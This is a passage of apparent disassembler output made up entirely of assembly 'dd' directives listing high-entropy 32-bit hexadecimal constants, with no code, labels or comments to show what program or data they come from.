2F4A89C2h, 0CD862B23h dd 0DA21A0C0h, 4AF40965h, 0C0A316D8h, 75A3C247h, 80CE76AFh dd 331C9A3Bh, 57015850h, 891A17C6h, 6E8661BBh, 0B1575E2Bh dd 3EED0E12h, 830C5BBh, 2D78CAFCh, 0BB35FF99h, 0AB6007DDh dd 0C1F26A2Ch, 1DA6F329h, 0AA01A275h, 9139598Ah, 766B0019h dd 495A2742h, 0F9DAD39Fh, 363D8050h, 0B4D0C388h, 99C06462h dd 0A5F5252Ah, 7F70D4B9h, 7F62FE1Ch, 0FEBCB9A1h, 41E28FE8h dd 0EBEB593Fh, 612EB53Dh, 2776ED2Ah, 6FB86DDFh, 0D01888EDh dd 0D0BDB8BAh, 3CCEC7DFh, 302093B5h, 56E07C36h, 8EE3E971h dd 565F9069h, 0D00CD621h, 20A2C44h, 0F7A8DCF3h, 7AB50135h dd 0F4C35D51h, 6E4C88B3h, 0E470F031h, 3BF620EDh, 7FEBE0ABh dd 333BBE9Fh, 799368FCh, 0C003876Eh, 658EBCA6h, 1ADA79F6h dd 357DBFDDh, 2D49A991h, 0AEE8BE89h, 1A09B6F9h, 7E66C693h dd 8EF515B7h, 45C0513Eh, 7913DA0Ch, 0E054872Bh, 0AAB3D468h dd 0C2BC24D3h, 0B8DB1A1Eh, 0D0719ECDh, 8D4D8F8Ah, 7294822Fh dd 6752082Fh, 32A09374h, 60FFC55Bh, 0C1122EB2h, 71DFA6C7h dd 917E12BAh, 0FD18208h, 3D38EDDEh, 86C36213h, 34D64835h dd 0CDD2A857h, 4C9A7722h, 95F173E0h, 73582E62h, 0C3AE2A3Dh dd 0A0B2CCC2h, 0F4389955h, 0DE73B693h, 93CAA817h, 5161A3D3h dd 7D3604F1h, 642BE20Bh, 0F48CC4EEh, 83E63AEEh, 725161C1h dd 6C653213h, 151BCC97h, 0E8DA83E9h, 7AFDBF15h, 0ACCA03C8h dd 0E8050EEFh, 0C7468FDDh, 0E137043Dh, 8C632707h, 0EB5108E8h dd 6EFF015Dh, 337919F3h, 0B3BA4D6Ch, 1B9A97B8h, 745BADB2h dd 443BDAC7h, 0DE28D85Dh, 0AEDB939Ch, 9A17F8B4h, 0D3F30A77h dd 8265B27Ch, 2C91F4A4h, 7EF7C564h, 0A8640C44h, 6A1332Ch dd 0B5715369h, 85DF480h, 379D166Bh, 8329A987h, 0B182FBEDh dd 0F8663D00h, 0FE5C5372h, 0B66BA499h, 67508518h, 50C9366Dh dd 87909933h, 0FAB1C352h, 0FF54E7EEh, 7CA1B3B5h, 71193F0Ch dd 0A758BC74h, 67D0409Eh, 0DC700C8Dh, 8C8CCA66h, 97E7F8h dd 1361539Ah, 0B5308309h, 3399DEBAh, 3F275E95h, 0FF45C3B8h dd 59323AD6h, 0B446819h, 48F85940h, 8585C524h, 235E3B53h dd 0AF0EC42Eh, 4328D7ECh, 0E0834D9h, 38DCA4FAh, 21B1DD72h dd 0F1EB2445h, 0D6F89516h, 0CBBF1B48h, 8C1224C6h, 0A95422E4h dd 0AD4E1B49h, 8BE3DE94h, 6598E224h, 0BFB5150Dh, 0D648F3C6h dd 42109640h, 0BC9BBEADh, 7A8E243Ah, 0E74A9E65h, 0F2F0F30Dh dd 0F29AF6EFh, 0E3A3FD0Dh, 8AE1044Ch, 66FC0B13h, 4AAC6250h dd 513A8EF9h, 0AC70657Fh, 3A5EBA80h, 82BC06C6h, 0B34A6574h dd 0B49B8F79h, 0CCF641C9h, 7B88EF5Ch, 6382B9D4h, 33CA70BEh dd 0E244739Fh, 0F7FCD221h, 0B9E38B73h, 7A995280h, 0A066C0FFh dd 70797095h, 846E90DCh, 0FA81E95Bh, 7D18AE46h, 7770F6C6h dd 40E958A9h, 319A7B7Dh, 0E825AE44h, 9F7D956Ch, 4F24DC3Fh dd 0DCA3C9DBh, 2D62C0Fh, 7CF1F778h, 0EFA85AF3h, 1730B4D5h dd 0DCF6CDABh, 282F6FC3h, 0A5B235D0h, 0E3D05EF8h, 0B2FD9E2Fh dd 44225615h, 0E6993B7Ah, 4ABACC5Eh, 73413A09h, 3748CA13h dd 5A952728h, 16DF1CCCh, 5EA00908h, 0F4996665h, 0DF5844D5h dd 80CDFF15h, 0CA7EBBD4h, 63A1D219h, 41D10A4Ah, 6EC005EFh dd 5CE3F28Fh, 0E8B2D64Bh, 72051DDAh, 9ED1DE39h, 0E6A270BEh dd 0AF1D10A4h, 9230ACBAh, 0D24BF796h, 0B527B07Ah, 8AC24FB8h dd 124A27CCh, 63D32B54h, 0AA734FCh, 6A078E03h, 0F3479D31h dd 4A68674h, 6C2E6D5Dh, 7C79CC46h, 0B74A162Fh, 8447673Eh dd 0E4987245h, 1ACC7766h, 0B22C5ACFh, 1ED67D33h, 0F75F5D8Ch dd 7FC82952h, 0CDF34FA1h, 0D73DECDCh, 0F156E861h, 624F4889h dd 88B53E23h, 38B099Fh, 0AD1EB6F0h, 0CAE19D51h, 0A61CA51Bh dd 0F28DE71Dh, 0C7B676A1h, 806E5498h, 7D45F44Dh, 74732FDFh dd 0F6D33558h, 8940288Dh, 3BD8147Ah, 0A45D056h, 1DCE4799h dd 0AD074E49h, 5B7A6CF4h, 615320BAh, 0E0441A15h, 6563669Fh dd 6B54915Eh, 0B1A797CBh dd 1F110DD9h, 0EDA76A77h, 7C97CDCFh, 0F149D46Bh, 0D5813C8Ch dd 47A67978h, 71D9C966h, 0B99AA6DEh, 2CA08A43h, 0C9F326A4h dd 0A130F6CDh, 0AAF38095h, 0C40F9417h, 5EA1FD8Dh, 2A5B1E03h dd 0F4CFC85Ch, 0CA266F07h, 208FE02Dh, 0C01CBCA2h, 0DF092191h dd 0C86EDADFh, 15E19D99h, 538DC6DAh, 745895DCh, 0E3AA1AE2h dd 4AF330E8h, 968C97A9h, 22CEAFA1h, 0A0667079h, 0B6F83E5Dh dd 3ADF09CFh, 7DCECC6h, 49F7DA39h, 89AAE0Bh, 15BB4C3Ch dd 0C96A3214h, 1E5FBF4Dh, 9905406Eh, 0A7C64CBAh, 500778FBh dd 6BDBB52Bh, 9EB0DBB0h, 6A764A09h, 323AF3D9h, 0B8D68E5Dh dd 283A5919h, 7467C3Fh, 0D390139Bh, 1A043FBCh, 0CB1D88F8h dd 0FADC57EFh, 0C84D49C4h, 638F9A1Fh, 0E1DF0A81h, 0D213B206h dd 26CAB1DCh, 0A7A39848h, 19B15A94h, 15039742h, 31C269FBh dd 67D83F2Dh, 0BE6AB1B8h, 0DAC32D32h, 0A22FCDCCh, 0D201734h dd 2DF382B9h, 5221C309h, 0C4DA6430h, 4414AB67h, 1E8FB8BAh dd 0B38EBFF0h, 73420939h, 2C6EF5AEh, 8490600Bh, 1B16D266h dd 5EA4AA4Ah, 2EB32851h, 4CBB9B88h, 80B098E2h, 13C4DD9Ch dd 47AFC6D1h, 0F46C0D19h, 0F9CBB634h, 0E045C4E8h, 785942E8h dd 3200E6E5h, 0ABAD7762h, 0BD2EB86h, 57F00E86h, 0AA7FF452h dd 6A459AE0h, 0CD4203CCh, 0B77D8B31h, 43B1222Bh, 0D5DF6B25h dd 3330B8EEh, 9B436355h, 0C37CCF9h, 0CE672316h, 0E7A40627h dd 0DDD7F78Ah, 0D4D623EFh, 8125357Dh, 0F22C55E4h, 0E9B2CC1Ah dd 92C1F20Ah, 29320CEDh, 52260526h, 0C463ACA8h, 0C2FBB6B0h dd 0B1648B2Fh, 0E8A37D13h, 0C8BB306Dh, 73D06ECAh, 0CB2C23F4h dd 0F78A7EF2h, 1BADF9AAh, 0D6B22E74h, 0F9F179Ah, 0CB6CA37Dh dd 13E6BB74h, 1718C680h, 71E37B35h, 8B24880Eh, 0AFD5E7D5h dd 772229CFh, 0CB4613C0h, 28B6314Bh, 0D9761791h, 7A604C5Bh dd 374E9469h, 1D9F2289h, 0CE3D3600h, 9A9F1B50h, 0F58F3740h dd 0C6C89449h, 0FC54DC71h, 0F20772CAh, 22CE7BE3h, 0F2EA5591h dd 0D7900EB9h, 9E50D85Ah, 0FEB6135Fh, 788FF7BEh, 0E1DA92E0h dd 0EB13BA9Eh, 0DADF3253h, 8C28D9F9h, 0C0C0AE6Ah, 7A425E3Bh dd 52E2D11Ch, 0B90A3C66h, 0BA2F37Dh, 0FCB32D64h, 466D809Dh dd 20C64B95h, 0FBE775D5h, 15133AF7h, 215D6B3Ch, 253C47A5h dd 4AC632B1h, 0D94DB91Bh, 5BB6EB93h, 0A72F09Dh, 0A05EDC2Bh dd 192F030Ah, 34BE613h, 0D43664Ch, 5F87BE82h, 86A20777h dd 42569803h, 5902333h, 5EEF1F04h, 0BD148220h, 6B4E4472h dd 37695036h, 9D62CB9Eh, 0A5A2BF18h, 0F61B13E6h, 9BA4A432h dd 0C2C1AC51h, 0FDBA5639h, 27CA159Fh, 0B48D2D04h, 0CCD41491h dd 8A73ABBDh, 0D1FB2E51h, 0D79F6F66h, 4E856D81h, 7526011Bh dd 104FAE01h, 0F948E017h, 76B07CB5h, 4805BE98h, 5F8BAC60h dd 5D912D36h, 0CF2C5B25h, 0F43EBE36h, 62D7E7h, 409039EDh dd 8E284B4Bh, 0C7A60FA2h, 64665FAFh, 0D2B03893h, 51F608B3h dd 0DF0A6FB7h, 5B48AB3Ch, 8D5E8B3Ch, 0A372DB6Fh, 0E6FE703Eh dd 2A3042Ch, 0DBFFAAEBh, 0C9D74C9Eh, 0FE680019h, 5D8048h dd 0F50532F9h, 614C421Dh, 79AF0AEEh, 907E4563h, 4F53236h dd 62C69AB9h, 8B7464C2h, 7622C135h, 8DAD08D7h, 0D67B111Fh dd 0AEC6C356h, 0F13152B0h, 77892B87h, 662E2DFh, 0ACAD11F1h dd 0C3A84AADh, 0FB7DF12Eh, 0AC7C8576h, 0D07E40E8h, 0A40D62EFh dd 3EF39B2Ah, 0D992DFDAh, 9943174Ah, 0FF51CBA9h, 5B5D4BADh dd 1F4E9503h, 2D2CD872h, 6BA60800h, 0EA0524CEh, 6360D9D4h dd 0E6D2B6EFh, 66DCF8B5h, 544391EEh, 0E611D96Eh, 8B744B64h dd 0A1F923E8h, 24068D48h, 0E86417F3h, 20A84156h, 66E0757h dd 7C03866Fh, 0C23A42B3h, 0DD1E6B4Eh, 0BB2F2C11h, 435C8892h dd 0EF54FBEDh, 218F23F9h, 86B5A0C0h, 85A6C190h, 0EABE4320h dd 0D29D3CEEh, 6A7BD6F9h, 62E075D9h, 8E797AFBh, 0EA7A0BA9h dd 44844B0Bh, 98B69DBFh, 0B580C429h, 2895D010h, 1B79F5BCh dd 7883374Ch, 0E4FAD2ACh, 7281A968h, 0F21D8E1h, 8BF16C4Ah dd 6A1DDAAEh, 29858AD4h, 49A6EA15h, 6ECF5244h, 36F3D83Eh dd 67FBDD5Bh, 596CA585h, 3005B479h, 652431ABh, 9BD009ABh dd 7EC88692h, 77E2FA41h, 1053EE20h, 38DB999Eh, 0C8812598h dd 17FE1FB3h, 2126D931h, 1EDD990Bh, 0B6D82F5Dh, 9B2CB7A0h dd 0FD6D8609h, 0E285A3B6h, 0F29893EAh, 5EA609D9h, 79BC6D18h dd 3962E0Ah, 0C0ABCA5Bh, 4E311064h, 699BD613h, 9AEE9BB1h dd 6F472D49h, 151A5359h, 5B80C4B9h, 59EE6F5Fh, 7B0A85EAh dd 0CEC67FCCh, 4DCF59D7h, 0DF77FD1Ah, 6BADD4D7h, 0C772C410h dd 6F5D2368h, 22C016AFh, 23E7CF37h, 6AAB5B0Dh, 1C944EDCh dd 0E829BCDDh, 3809B20Ah, 8BEB81D3h, 0F3ABAF53h, 0ECF716DCh dd 0A5704912h, 5415F294h, 91E0FB49h, 285229ADh, 0A050B98Dh dd 1049AE2Fh, 0F6C84479h, 0FC524C3Ah, 0D9BF82ACh, 8008233Dh dd 1E74CDB0h, 0E7C1113Dh, 19C35202h, 24E9E9B6h, 1870BC54h dd 0DD2F4AA4h, 9E93830Bh, 9C09E881h, 0F118B992h, 3E81390Ch dd 5FACEFA5h, 5E48E642h, 37F91313h, 7575C61Eh, 0C4249C54h dd 380108A7h, 6B05681h, 67CD6D3Eh, 5B4AD036h, 0E0157C62h dd 40B5362h, 0B5843C1Bh, 0B4495513h, 6E1E8137h, 644D067Bh dd 0C6DC8830h, 1B47E46Dh, 88D78DECh, 8E17C2D3h, 5B8471AAh dd 0B0674A8Fh, 63ECF8D0h, 5409114Ch, 0EBE49CA2h, 0ACAB2553h dd 1BE69B5h, 5CD8686h, 0A9C10C90h, 71C36A40h, 65D905E8h dd 262AA760h, 0DD46546Bh, 67B8B32Bh, 40CED8A3h, 9A77EC6Bh dd 8CC87CC0h, 966D1E7Fh, 1F3F6119h, 1660E493h, 0DBBA1BDDh dd 6FA4389h, 5C9C70EFh, 0D5E0B288h, 1B00C1EBh, 0F31217D2h dd 351A7B74h, 2CC1F566h, 0E0D4D414h, 5548D1Ch, 57C2BD18h dd 0E8F9494Ch, 65EA92FFh, 91AF16A8h, 42E7E926h, 48E0AE65h dd 0FB63AFD4h, 5F630713h, 0C7EA4028h, 0EFEF7965h, 934F51Eh dd 0ED5AC48Ah, 6D647946h, 23ECC120h, 0C2DC0C72h, 0CBC088h dd 0FDBA9C82h, 0D15DFA7h, 0FDCC9F5h, 14846731h, 0D055C9C2h dd 955CEAFh, 0F627299Eh, 2B4193DBh, 161C17E9h, 0EB8C2607h dd 0C93903B1h, 0A528D297h, 0E7B21D4h, 0C05DA67Bh, 55DA5D98h dd 2B7DBECEh, 0D82E0136h, 0A22B60B0h, 83949CE7h, 6CD99E37h dd 60B4087h, 2BCD8310h, 0EFCAB40Dh, 9DFBCEF1h, 3AEDD27Ah dd 0DEC8FF5h, 0BFC3C29h, 0FB51101Ch, 0F71E0F3h, 2E523625h dd 0B60290B9h, 2C0480EBh, 0D45DA481h, 0B898C37Eh, 20DC9268h dd 826EDB29h, 0DDE971BDh, 790BC290h, 0AA5719DDh, 8A7F792Eh dd 6A206F65h, 0D1543843h, 0F7BF5A6Eh, 23547677h, 8454A01Fh dd 2057291Ch, 9939863Bh, 441EDFD5h, 1143E8A9h, 0D704E059h dd 0E637B537h, 281C7EA5h, 769E8879h, 48DCCBE8h, 7659818Ch dd 0DB7B436h, 75876AFBh, 0E455A740h, 0F4296D81h, 0D4C8EC68h dd 0D9C061E8h, 76E6BF3h, 0BE7EDFBAh, 7AA46AEEh, 0AC636C60h dd 6DD50505h, 0EB841F2Fh, 0D517BFEFh, 4B8E7A4Dh, 91791A5Dh dd 0FEE67691h, 0C0734D78h, 5BBD76D7h, 0F7DD384Dh, 0C490E68Eh dd 39AEBA87h, 47FA742h, 4D66F3BCh, 0A245A894h, 72FE4619h dd 79E0C80Ch, 0E24110F4h, 0F9E89ECAh, 9967D1B3h, 0A6E73CB5h dd 1497FE3Ch, 25E3719Ch, 704A9323h, 30C5783Ch, 21F831AFh dd 2725B5C4h, 0FF971850h, 14117ABBh, 43B2879Dh, 5FBF13F4h dd 0AF9AA3C3h, 0CDF6977Bh dd 0DE0D0BEAh, 540AA25Bh, 9082D807h, 186873C4h, 4EE0A040h dd 89903BCBh, 0A9FAC6BCh, 5E88ACA0h, 0C559367Ah, 57E72245h dd 0F5503FE1h, 660A27EAh, 1316106Fh, 0CC034EFBh, 9420D997h dd 0CCB62778h, 65296B2Fh, 0CABB94BEh, 9CF0DE6Ah, 0A34B0DCh dd 823CF94Eh, 0F5B7FBC1h, 4E9BE17Eh, 62A24C23h, 484DCB99h dd 16B29C43h, 4315F9A9h, 2A0A274Ch, 51C12EC2h, 0C0DC597h dd 7695DF65h, 45880442h, 0CD68AAB8h, 76764790h, 169A95F6h dd 0B3E796E8h, 0EEB618A3h, 0BA52BABCh, 23A09A0Ah, 0DA1A64A3h dd 0C6A4FD1h, 312866A1h, 4E53578Bh, 2A65B2A6h, 1F8F546Ch dd 0E867D59Dh, 4AEB03E5h, 14DB3355h, 15624C2Fh, 16986438h dd 0E151C54Bh, 6F590F1Fh, 9E136795h, 95ACCB7Bh, 9C26604Fh dd 0F82D58F9h, 0F45F0ECCh, 40EBCC42h, 2F6E9165h, 4BB352D3h dd 66E79956h, 484CE988h, 0DD095218h, 0A60F3E29h, 0E0B07DD7h dd 0DD61E6F7h, 0C2F07373h, 4DB162A0h, 0C48FA3Ah, 0D5F983D8h dd 3D26B1E1h, 0E7785E4Ch, 8835A2BCh, 0E4A339BAh, 0ED853B1Eh dd 4C1062B0h, 9847490Bh, 0D49072A1h, 1E3BC4DBh, 15E69C64h dd 5670E028h, 74C0E88Fh, 37B0A7F7h, 2D4E6992h, 0B69B8497h dd 24E8A74Eh, 342C6A7h, 1FFDF35Bh, 0F2313D59h, 29E92C41h dd 71F4FC69h, 72DA3001h, 0F804A32Ch, 842B0D30h, 718916F0h dd 7B4CF9B5h, 33049DAEh, 71DD815Eh, 22B59177h, 0C2634E78h dd 0BC9B9CCEh, 3848BAF3h, 0D8C927CEh, 32C12B0Fh, 0E1C81310h dd 0A0E0A838h, 790FB03Ah, 575DE40Eh, 5960D622h, 5E827EDCh dd 37449241h, 0B347BD1Fh, 4DE2A0CAh, 0C6DABBA9h, 0F147BE0Ch dd 8D3EE0EAh, 188203DFh, 0A26714D3h, 0D953D5E7h, 7A320442h dd 3AB1CF46h, 0A6855D24h, 0C4B05518h, 0AFEA0DB2h, 3645027Dh dd 5A963DECh, 0F71E212Ah, 7FFEDC5Dh, 8717CA49h, 13C2E99Ch dd 8B8CDDE8h, 6CB35324h, 287F9D49h, 3498F797h, 0E191790Eh dd 0F892A947h, 993885FAh, 75BAB7E6h, 3ECEF4E7h, 4B1C4131h dd 0ABCE040Fh, 10D9A32h, 417899E3h, 26E6DF46h, 0D58F43D2h dd 4B83543h, 0D7EF8D8Bh, 9E10EB06h, 3D1B2FD9h, 990F0BA0h dd 58CDE970h, 0BF36043Dh, 1BBE5E78h, 0B4D6840Fh, 552D74C0h dd 7C993606h, 4DB6EFB2h, 0D3DB7266h, 6B4CFBABh, 0AB981A06h dd 8FF641C3h, 517A51Ch, 890C1EDBh, 2C3F9BCAh, 1D7882EDh dd 0A1D6A5B6h, 0DBFCB85Bh, 2C7ADB19h, 48799DC6h, 407105CFh dd 0C0A2D655h, 23C296D4h, 0B1103CEh, 0F4AA4FB9h, 0A49A04B1h dd 3428AA88h, 262EDBAEh, 0E31A351h, 0DF1025A0h, 27234E66h dd 74CD675Dh, 8F81BD1Ah, 4E12048Ch, 0DD7696E7h, 1263B513h dd 3A27D324h, 0FB7D8A85h, 1A8F921Ch, 0A58F24DBh, 0A592EE08h dd 1EB1702Ah, 8F9D85A7h, 0BCF4C1C3h, 0C713BA2Eh, 6095E1C5h dd 0C8ED0488h, 0F125BD69h, 0E7AC8457h, 6965A589h, 6F12150Eh dd 2D34891Ah, 34815BBh, 5E4739DBh, 0CB3B252Ah, 2F59012Eh dd 8C76B301h, 0AD3F141Bh, 33277091h, 0E1DD9658h, 0FF86724Ah dd 1AF3B93Bh, 0DD358BF1h, 0CB487C61h, 3C844707h, 4AE02144h dd 2E2AD584h, 0BBCC2C2Bh, 2B7A42E0h, 30C72A97h, 774812C7h dd 0C447FACDh, 0DA203066h, 0D417C4F1h, 4FFD09F9h, 5EBFF2D1h dd 75549594h, 98C61E8Fh, 26820A6Fh, 742389A3h, 29C36303h dd 46D017D4h, 98DD002h, 7AEB6603h, 5487B7C9h, 0ED8E8A77h dd 0DC186B8Ch, 0CC046B09h, 0D2CD8768h, 6EDD25ABh, 0AE8B65F9h dd 298D4E0Dh, 363EFAF9h, 4BA20A38h, 17E83019h, 736C7B82h dd 0FFF77738h, 88FFE54Ch, 0FCD4E5C3h, 0A03F479Eh, 27A3C7C6h dd 0BA2E5120h, 0C5BE4A82h, 997D92CAh, 7D63927Bh, 1B05E363h dd 3E18D0CDh, 7BF9E211h, 0DDCED4CFh, 0C73CB366h, 86218BD4h dd 4810EAE8h, 951B3C2Ch, 469F1373h, 0B9DC077Ah, 0BB7E72DEh dd 0AE80DECDh, 8D26AEABh, 0F7FE4381h, 4D8A0549h, 9BB3177h dd 7FCC4846h, 7FD5A89Fh, 351C4974h, 0E1E47BE8h, 431B5DADh dd 9DEEA5D2h, 86F96B82h, 32C2ADB3h, 6CF9D190h, 0B1FC2DCDh dd 60924031h, 0C9C19C44h, 3EA7B9D4h, 72E6483Ch, 0AC9C9C64h dd 0D4F4B816h, 0FCB56B51h, 95B26F43h, 97AC2AA4h, 50C5399Eh dd 4EC344A7h, 0DF215C7Dh, 2B9E634Eh, 21AECCBEh, 0F03D1876h dd 326BBA91h, 3AB7CE6h, 2F4F55FFh, 2B9BDE09h, 0F72E7483h dd 48523962h, 41585388h, 0F76D1DD3h, 66915ECh, 0D1E9502h dd 686DA918h, 39B2E26Ch, 0DF383059h, 379E0E6h, 70CAAF09h dd 4476565Ah, 0F7D6DD2Eh, 0A82708ADh, 0C8EB9C98h, 31A7B9ECh dd 70E64810h, 0A96C9C44h, 619CB8D6h, 0CD72A862h, 0F718DDC8h dd 0F94D812Fh, 53C561CEh, 4EC2BC34h, 8A84EB6h, 746EA140h dd 951970DEh, 4680130Bh, 0B2C174B2h, 5034079Eh, 0AE8A75FCh dd 8651AECAh, 8D6AF00h, 5E8AB8F4h, 0FCBE0515h, 6DBAFE07h dd 0C35C1EBAh, 31CDC876h, 0C2F328B2h, 0BA195F6Dh, 9570D241h dd 0DBEDE04Eh, 0B032AF0Dh, 6E3DFE8Dh, 6920A4CFh, 0EA124284h dd 0CDC3AFA4h, 359832E8h, 7FE64AAAh, 36141E29h, 527FB8F6h dd 0DCB7C396h, 0DB5E5748h, 3FF4F5ADh, 5D4E634Eh, 0E447BBC7h dd 6237559h, 1E1AD1C4h, 8D07D595h, 4F805195h, 3E93693h dd 0D81B739Eh, 25DAFBCDh, 0D48630B4h, 844F19F7h, 8DF1901Ah dd 1CF86BFCh, 7EFB0CCAh, 57D00316h, 0BB1D0BDCh, 0B267A921h dd 95196B1Bh, 61E32FB9h, 0C38394A6h, 9033440Eh, 2E0DFE9Dh dd 4955AECFh, 152D12D5h, 58BE1133h, 0B62EBD52h, 1F928ABBh dd 1B9798F5h, 597FB892h, 6EB4AFE2h, 69401A23h, 92EFF026h dd 22B19AB4h, 4C683919h, 3A87D59h, 746EC35Ah, 3CB64644h dd 0FB0AF17Dh, 0BB6DBBCDh, 756C8CD7h, 0AC3653F2h, 3F6821CAh dd 0F564F333h, 709382D1h, 0A05353FCh, 7D4ECE7Bh, 0C8B80B9Fh dd 3CB78BC6h, 706F2BA6h, 7676F409h, 37C86E06h, 334997D8h dd 13DDAD7Ah, 561F58DAh, 0CBF52DCFh, 655AE77Fh, 0CCC11915h dd 0B72EB9E0h, 7AE64ABAh, 0DF9011BFh, 417FB8B6h, 0BCB568A3h dd 1718DF48h, 3BFB37A5h, 5D4E67C1h, 4EC2B093h, 8623655Fh dd 746EF1F4h, 2093EAD5h, 4681D171h, 0BB6E3913h, 5319741Eh dd 0AE96DEF9h, 2B8722CAh, 7CB64D83h, 8F3B2519h, 0BB35BFCh dd 7D0E3EC3h, 0CDD3819Fh, 85028976h, 666FABAAh, 27157F6Fh dd 569C5B89h, 0E3446F83h, 0D32A550Eh, 0AEEF5418h, 4BE58CAAh dd 0D45D4281h, 14401B43h, 3B22F977h, 0F5B44692h, 0DB94600Ah dd 0B61BE956h, 8CB56856h, 5291BBC8h, 0FBFB30A5h, 0D56A3D4Bh dd 0C7DAEE07h, 0BA63E69Eh, 3CE539F1h, 0A3CB29A5h, 32816D19h dd 30B7B861h, 0A56F782Fh, 7091980Dh, 0B8E2541h, 0F59E6FA3h dd 8F0FB99Ch, 0FD5C8FCh, 5DEE03A5h, 0C9CFE416h, 0C089C976h dd 544826A2h, 0A69C5F4Fh, 5E9E34F9h, 97ECEE45h, 0BE12AF0Eh dd 6EFBCCACh, 0CB3892C9h, 26FA4282h, 0F4C11918h, 0B12A2D7Dh dd 0F5EA3ECAh, 5C9835CBh, 952B3064h, 153C832Ah, 571CA2D3h dd 8788BAA9h, 2BC5B5D9h, 0CD1CA985h, 878E49C5h, 0F4E899D4h dd 8D93AA61h, 0C3088A50h, 0BB6F3B57h, 0DABF7933h, 0AE96417Ch dd 3A918FCAh, 0F024182Eh, 0BE1A9D1Dh, 9B66422Eh, 0F08D1EC7h dd 0CCE9E91Ah, 3B38276h, 7B60ABAEh, 1C54D4B9h, 46BC4CECh dd 8DDE3B83h, 0FB9ED7B8h, 21CF54D6h, 724D775Ah, 0E5D9369Bh dd 42BE1DDDh, 822EBD64h, 0F6379939h, 1718876Ch, 0E24EB917h dd 0ADAFE083h, 2A1BDC2Eh dd 7BFB362Ah, 504D6650h, 4EC2A082h, 5261588h, 0A65C09C8h dd 24031FE4h, 0CB0F9241h, 0BB6FBB14h, 0CE16B0E7h, 0AEB9431Dh dd 727B0DCAh, 7CA930E7h, 0D8B29919h, 2F97383Fh, 9389E7CBh dd 3392DEB0h, 80064976h, 78612BAAh, 1B635F6Fh, 4EBA3059h dd 0B2906B83h, 7382AF0Eh, 0DDB93C27h, 0C9752DC8h, 6692428Ch dd 0C6C1191Dh, 832EB9F0h, 43D29B77h, 0F901272h, 0E803A637h dd 7CB5645Ah, 1E16D94Dh, 3BF677A8h, 0DC4E6FDBh, 4282558Eh dd 86234507h, 4730EFD8h, 20936A78h, 0B979C631h, 0BB603260h dd 87DE791Eh, 0AE91B13Ah, 79770ECAh, 2BC7C7D2h, 0C933A4E5h dd 3A607175h, 0D6D64F03h, 2665C9AFh, 738F5CFEh, 0AF07A31Ch dd 0CFB13984h, 3C2392Ah, 23F2E8A3h, 0AD6717FDh, 904421D7h dd 68F1C09h, 900997F8h, 4F90EED1h, 8CEE79DCh, 5F2EC384h dd 50C94811h, 0C4103D14h, 0DB8F394Dh, 0F8A4A3D4h, 0C1D38466h dd 0DACEF5AAh, 0C17EE2A2h, 689AA8Dh, 63FB8EAEh, 7633A6A4h dd 125B8612h, 64D02CB8h, 0FC2DE1DFh, 408D1383h, 0E13FC913h dd 89EB8828h, 3504F0C9h, 7F2539C4h, 0A05CE21Bh, 159247B2h dd 1199D4CDh, 2A2DDAB8h, 665D710h, 610AE8B2h, 7712B2Ah dd 42DDFD60h, 164B2DA5h, 3CB22F1Fh, 0CED367FAh, 6C3BD08h dd 0F34228E8h, 9FC2E498h, 2013288Ah, 0E29FFB39h, 326ECC97h dd 13B8E64Ah, 0EA6E08A5h, 0F906C5FFh, 6348F8F8h, 6519DA47h dd 640A8AF2h, 9C52AF8Fh, 0DDD9C1FAh, 646F8752h, 745DE27Fh dd 0CF5EC880h, 721577A3h, 4DDF7CBCh, 320F0D14h, 40A4B5DEh dd 8A98CF55h, 0FA19FAA0h, 9FF67194h, 353763EEh, 0DBE1D88Fh dd 47C70618h, 0C0004079h, 0F1C840C0h, 8A325E93h, 1B6F3D1h dd 140C5331h, 76279A34h, 0BAAC779Dh, 874769DEh, 0A38A15ADh dd 83F32AE9h, 5218F830h, 71380790h, 0BFFCC773h, 0E687A177h dd 9A3B038Dh, 0E755CF4Ch, 5785088Ah, 3F832E66h, 6A7D2097h dd 93D28DEh, 2A9BDF6Ch, 2DDE916Eh, 72374417h, 0AAC4F661h dd 8B0C2673h, 0EF5A601Ah, 0E12C7BEh, 3BB3E38Bh, 2C96AE11h dd 0CFED7861h, 0D849D1DBh, 0ED6CB8AFh, 0AB25E29Dh, 6B1561A3h dd 23E376C2h, 0F584EB6Bh, 40480EB9h, 58A6D70Ch, 5902F11Ah dd 963D90B1h, 8F885E8Ch, 0F71F08DBh, 0BB2D652h, 45625F26h dd 0E4F7C319h, 47890BA4h, 0E9B77B8h, 531F7FA4h, 0A1507BAh dd 504DACA7h, 2B6F4337h, 8CB0EF1Fh, 2BDBAB12h, 3CDB83D0h dd 8431395h, 0C7BA2BBh, 87D9E685h, 0F7444CC3h, 0FACA43A8h dd 0BABF731h, 0A505BB57h, 70AFD027h, 0BE237815h, 60F28AE4h dd 55E0BF58h, 81BB173Ch, 3FEB8030h, 14A87FB5h, 531B133Ah dd 64AD572Eh, 67F39B6h, 0BDF519D8h, 0A9AE4033h, 0FBB7BC84h dd 6DAA6FA1h, 933C2F8Bh, 47AF740Ah, 0FF47B104h, 0EAA8D55Fh dd 130CC145h, 38E74642h, 0AE2C19F5h, 3324A656h, 0ABA57B2Ah dd 0DB1DD3EAh, 0E3E122DEh, 342505E1h, 64708A6Ch, 0B3E86182h dd 5E891577h, 1D61570Dh, 9F34D356h, 626FC491h, 72CD2B37h dd 0C614B0AEh, 40F970Dh, 26007610h, 3EA759B0h, 0D5A86078h dd 11374947h, 8DF21AEFh, 0AEFC9A61h, 3153B3D3h, 201EB78Dh dd 2C653BFAh, 3D50F99Ch, 0E60F8090h, 559C87FAh, 62B337F9h dd 5DA217CFh, 0DFE052E8h, 558CAB3Dh, 7FAA4DEDh, 13B993E5h dd 86D78376h, 0B3D38522h, 74F26A99h, 5C75E91Dh, 2EB5ECAh dd 9407B0FAh, 0F6A06671h, 9167CA6Bh, 0E2498A6Ah, 0BB2E5CF8h dd 8B617387h, 0A945CB45h, 473F34C4h, 0F36CF514h, 8B5EA47h dd 0BC8D48D5h, 2418013Fh, 3FC7676Bh, 64CE2E7Eh, 0B7A16C38h dd 8740FFF9h, 0D2CC7A81h, 722D9BABh, 8AED9B9h, 1EC666DFh dd 6102D8B3h, 0FAA21A6Ah, 0CC4DD817h, 0E7AA5CD8h, 8DD47ED5h dd 0C22874Bh, 7C7B73Dh, 973F21E2h, 3277EA3h, 69A30FA5h dd 0BBE2E4CFh, 7A0F3921h, 4D1E755Ch, 0A71D9FB0h, 42565497h dd 0C073D989h, 477C3546h, 862A38D1h, 8661975Bh, 49A893h dd 75A3B57Ah, 9D47833Dh, 0E13E96FCh, 